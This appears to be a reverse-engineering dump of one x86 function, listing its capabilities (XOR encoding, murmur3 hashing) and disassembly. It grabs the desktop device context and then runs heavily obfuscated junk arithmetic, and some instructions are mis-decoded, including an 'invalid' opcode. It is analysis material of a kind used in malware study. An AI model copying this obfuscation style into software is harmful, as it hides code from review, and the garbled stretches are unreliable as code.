Function at 0x403d10
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x576f24]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x64], eax
call dword [sym.imp.USER32.dll_GetDC]
lea esi, [ebp - 0x44]
pushal
pushfd
mov eax, 0x8f3ac1
mov ecx, ecx
rol edi, 3
mov edi, 0x6d94e94
xor esi, eax
shr esi, 0xa
rol eax, 9
xor ebx, esp
xor eax, 0x24e2cad8
call fcn.0040c2e6
rol esi, 1
mov esi, 0x3e84178
shr ebx, 0x1c
xor edx, esi
mov esi, eax
xor eax, 0x5944b0e
add esi, 0x2217a65
call fcn.0041d6e0
and esi, 0x6a1b287
mov esi, eax
xor ebx, dword [0x5755dc]
not eax
mov ecx, eax
xor ecx, dword [0x576a42]
shr eax, 0x1b
rol eax, 0x19
mov ebx, esp
sub esi, edx
mov esi, ecx
neg eax
or esi, edi
inc esi
sub edx, esp
dec eax
call fcn.00410440
xchg eax, eax
rol edi, 0xe
mov ecx, 0x6c5ce
shl edx, 0x1e
inc eax
mov dword [0x58cc72], 0x23d70815
call fcn.00410440
inc edx
xor dword [0x58cc60], ecx
call fcn.0040c2e6
mov ebx, dword [0x573045]
shr esi, 0xd
not esi
rol edi, 4
call fcn.00486ece
and edx, dword [str._Me_]
xor dword [0x58ccc2], edx
loop 0x403dba
shr byte [ebx], 0x1d
out 0xf4, al
push esi
add byte [ebx], dh
fadd st(1)
invalid
sub ebx, dword [0x56f4e6]
xor ebx, eax
rol edi, 0x17
xor esi, eax
mov esi, eax
or esi, edi
xor edi, esi
and eax, 0x223962da
mov ecx, 0x27f1af
inc esi
mov dword [0x58cd38], edi
call fcn.0040296d
inc ebx
and dword [0x58cc0a], edi
inc dword [ebx + 0x21]
cmp eax, 0x58cc0a
xor esi, dword [0x5788c0]
inc edx
dec eax
test esi, ecx
jb 0x403df9
neg edx
not edx
neg edx
mov dword [0x58cc62], ecx
shr esi, 6
loop 0x403e18
shl eax, 0x1a
or esi, edi
xchg eax, eax
dec ecx
test esi, 0x1b105d8
jb 0x403e7c
mov esi, eax
call fcn.00486ece
or esi, edi
test esi, eax
jo 0x403ecc
mov ecx, 0xcfd4e2
test esi, edi
jo 0x403e70
add dword [0x58cbba], 0xfb44ed1
mov edx, 0xd10058cb
dec esi
mov ah, 0xf
test esi, 0x984b42a
test byte [ecx], cl
jo 0x403e23
rol eax, 0xe
xor dword [0x58cd7a], edx
inc edx
ror edi, 0x14
xchg eax, eax
loop 0x403e6a
mov ecx, esi
add ecx, eax
mov ecx, esp
xchg eax, esi
inc eax
mov esi, eax
call fcn.0040c2e6
not esi
inc ebp
test byte [eax], al
add bh, dh
salc
xor esi, ecx
inc esi
shr edi, 0x1c
test eax, eax
jo 0x403e9d
add edx, eax
dec edx
xor esi, eax
not ebx
dec eax
xor ecx, dword [str.._AVFileBOStream__]
mov edi, eax
add esi, 0x7a7e00a
mov ecx, 0xd8765d
ror esi, 0x11
dec edi
or edx, dword [0x57973b]
call fcn.00410440
neg esi
call fcn.00486ece
inc eax
call fcn.00402d83
loop 0x403ec8
push 0
xor eax, esp
sub ecx, dword [0x56e530]
not ecx
xor ebx, dword [0x56e5b8]
call fcn.00486ece
sub edi, eax
neg edx
sub esi, eax
ror ebx, 0xb
sub ecx, esp
call fcn.00402ab7
push 0x320033
call fcn.0040296d
sub ecx, dword [0x571958]
inc esi
xor dword [0x58cce4], ebx
add edi, eax
xor edx, 0x7cbf822
sub ebx, ebx
xor esi, eax
not ebx
sub dword [0x58cd50], edx
dec eax
not esi
xor eax, ecx
sub edx, dword [0x575d06]
dec esi
xchg edx, eax
not esi
xor edi, dword [0x575e00]
mov dword [0x58cc3e], ebx
mov dword [0x58cbfc], edx
push 0x6c0065
call fcn.00410440
xor ebx, dword [0x575ed9]
rol esi, 0x1c
xor eax, esi
and dword [0x58ccd2], 0x26775ed9
sub edi, esp
sub ecx, dword [0x575ddc]
call fcn.00410440
xor esi, ecx
call fcn.00424afb
sub ebx, 0x6f1d95
inc esi
mov dword [0x58cc32], 0x2babb9b4
call fcn.00410440
sub esi, dword [0x574aa0]
sub eax, 0xf02c70f
xor edi, 0x13d41db0
ror esi, 0xc
xor edi, esp
call fcn.00405438
mov dword [0x58cc2c], 0x20a801e6
call fcn.00406428
xor dword [0x58ccc0], 0xe215d28
call fcn.00406df5
push 0x6e0072
dec edx
mov dword [0x58cb9e], ecx
add edi, edi
xchg eax, eax
add esi, 0x139b8908
call fcn.00424afb
xor ebx, dword [0x56f8f6]
xor edi, edx
neg eax
xor edx, ebp
xor dword [0x58cccc], esi
sub esi, dword [0x56f8c2]